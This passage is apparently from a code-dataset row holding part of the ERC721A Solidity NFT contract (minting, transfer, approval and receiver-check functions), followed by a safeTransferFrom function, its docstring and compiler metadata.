_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
8067,
8415
]
} | 4,299 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.